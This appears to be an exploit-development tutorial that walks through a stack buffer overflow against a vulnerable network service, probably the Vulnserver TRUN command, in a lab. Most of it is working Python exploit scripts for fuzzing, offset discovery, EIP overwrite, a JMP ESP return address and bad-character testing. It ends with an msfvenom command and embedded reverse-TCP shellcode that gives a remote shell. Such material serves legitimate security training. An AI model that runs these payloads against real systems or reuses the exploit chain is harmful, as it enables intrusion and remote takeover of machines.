Step 1: Attach the application on Immunity Debugger
Remember to run both the application and Immunity Debugger as Administrator.
Step 2: Fuzzing
Example script:
import sys, socket
from time import sleep
buffer = "A" * 100
while True:
try:
sys.stdout.write("\r Trying %d bytes" % len(buffer))
sys.stdout.flush()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.100", 9999))
s.send("TRUN /.:/" + buffer)
s.close()
sleep(0.05)
buffer += "A"
except:
print "Fuzzing crashes at %s byte" % str(len(buffer))
sys.exit()
The script will get stuck at some point and you can based on that result to estimate the offset.
No Loop version:
import socket
buffer = "A" * 5000
payload = buffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.1.1.1", 9999))
s.send(payload)
s.close()
Step 3: Confirm offset
Pattern create using pattern_create.rb
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <estimate_offset>
msf-pattern_create.rb -l <estimate_offset>
Then put the generated payload as offset and put in the following script.
Example script:
import sys, socket
offset = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.100", 9999))
s.send("TRUN /.:/" + offset)
s.close()
except:
print "Error connecting to server!"
sys.exit()
On Immunity Debugger, inspect the value of EIP
.
Confirm offset
# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <estimated_offset> -q <EIP_at_crashed>
msf-pattern_offset -l <estmated> -q <EIP_crashed>
Then it tells you the exact offset.
Step 4: Try overwriting EIP
Using the exact offset found, try to overwrite EIP as BBBB
.
Example script:
import sys, socket
shellcode = "A" * <exact_offset> + "B" * 4
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.100", 9999))
s.send("TRUN /.:/" + shellcode)
s.close()
except:
print "Error connecting to server!"
sys.exit()
Inspect if EIP becomes 0x42424242
Step 5: Find JMP ESP module
In Immunity Debugger, do:
Look for modules that are "all false".
Then find the HEX value for JMP ESP from that module.
!mona find -s "\xff\xe4" -m <module>
Then add a breakpoint at the memory location identified (by using the >... button). Replacing the Bs in the previous script. For example:
import sys, socket
# 625011af
shellcode = "A" * 2003 + "\xaf\x11\x50\x62"
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.100", 9999))
s.send("TRUN /.:/" + shellcode)
s.close()
except:
print "Error connecting to server!"
sys.exit()
Note how the memory location gets appended. For example, if you find 0x
12345678, you should append \x78\x56\x34\x12
the script.
After running, you should see the EIP becomes 625011af in this case.
Step 6: Find bad characters
Supply the script with bad characters:
import sys, socket
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
shellcode = "A" * 2003 + "B" * 4 + badchars
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.100", 9999))
s.send("TRUN /.:/" + shellcode)
s.close()
except:
print "Error connecting to server!"
sys.exit()
Then in Immunity, right-click ESP and follow in dump, try to identify discontinued character. Record the bad characters.
Step 7: Append Shellcode
First use msfvenom to generate a payload.
msfvenom -p windows/shell_reverse_tcp LHOST=eth0 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"
Note that you have to use -b
to specify bad characters. \x00
is a known bad character in all cases.
Then append the payload in your exploit script:
import sys, socket
# 625011af
payload = (
"\xdb\xdb\xbb\x71\x60\x55\xca\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x52\x31\x5d\x17\x03\x5d\x17\x83\x9c\x9c\xb7\x3f\xa2\xb5\xba"
"\xc0\x5a\x46\xdb\x49\xbf\x77\xdb\x2e\xb4\x28\xeb\x25\x98\xc4"
"\x80\x68\x08\x5e\xe4\xa4\x3f\xd7\x43\x93\x0e\xe8\xf8\xe7\x11"
"\x6a\x03\x34\xf1\x53\xcc\x49\xf0\x94\x31\xa3\xa0\x4d\x3d\x16"
"\x54\xf9\x0b\xab\xdf\xb1\x9a\xab\x3c\x01\x9c\x9a\x93\x19\xc7"
"\x3c\x12\xcd\x73\x75\x0c\x12\xb9\xcf\xa7\xe0\x35\xce\x61\x39"
"\xb5\x7d\x4c\xf5\x44\x7f\x89\x32\xb7\x0a\xe3\x40\x4a\x0d\x30"
"\x3a\x90\x98\xa2\x9c\x53\x3a\x0e\x1c\xb7\xdd\xc5\x12\x7c\xa9"
"\x81\x36\x83\x7e\xba\x43\x08\x81\x6c\xc2\x4a\xa6\xa8\x8e\x09"
"\xc7\xe9\x6a\xff\xf8\xe9\xd4\xa0\x5c\x62\xf8\xb5\xec\x29\x95"
"\x7a\xdd\xd1\x65\x15\x56\xa2\x57\xba\xcc\x2c\xd4\x33\xcb\xab"
"\x1b\x6e\xab\x23\xe2\x91\xcc\x6a\x21\xc5\x9c\x04\x80\x66\x77"
"\xd4\x2d\xb3\xd8\x84\x81\x6c\x99\x74\x62\xdd\x71\x9e\x6d\x02"
"\x61\xa1\xa7\x2b\x08\x58\x20\x94\x65\x61\xdc\x7c\x74\x65\x0d"
"\x21\xf1\x83\x47\xc9\x57\x1c\xf0\x70\xf2\xd6\x61\x7c\x28\x93"
"\xa2\xf6\xdf\x64\x6c\xff\xaa\x76\x19\x0f\xe1\x24\x8c\x10\xdf"
"\x40\x52\x82\x84\x90\x1d\xbf\x12\xc7\x4a\x71\x6b\x8d\x66\x28"
"\xc5\xb3\x7a\xac\x2e\x77\xa1\x0d\xb0\x76\x24\x29\x96\x68\xf0"
"\xb2\x92\xdc\xac\xe4\x4c\x8a\x0a\x5f\x3f\x64\xc5\x0c\xe9\xe0"
"\x90\x7e\x2a\x76\x9d\xaa\xdc\x96\x2c\x03\x99\xa9\x81\xc3\x2d"
"\xd2\xff\x73\xd1\x09\x44\x93\x30\x9b\xb1\x3c\xed\x4e\x78\x21"
"\x0e\xa5\xbf\x5c\x8d\x4f\x40\x9b\x8d\x3a\x45\xe7\x09\xd7\x37"
"\x78\xfc\xd7\xe4\x79\xd5")
shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 32 + payload
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.100", 9999))
s.send("TRUN /.:/" + shellcode)
s.close()
except:
print "Error connecting to server!"
sys.exit()
Note the padding "\x90" * 32
. This could help stabilize the exploit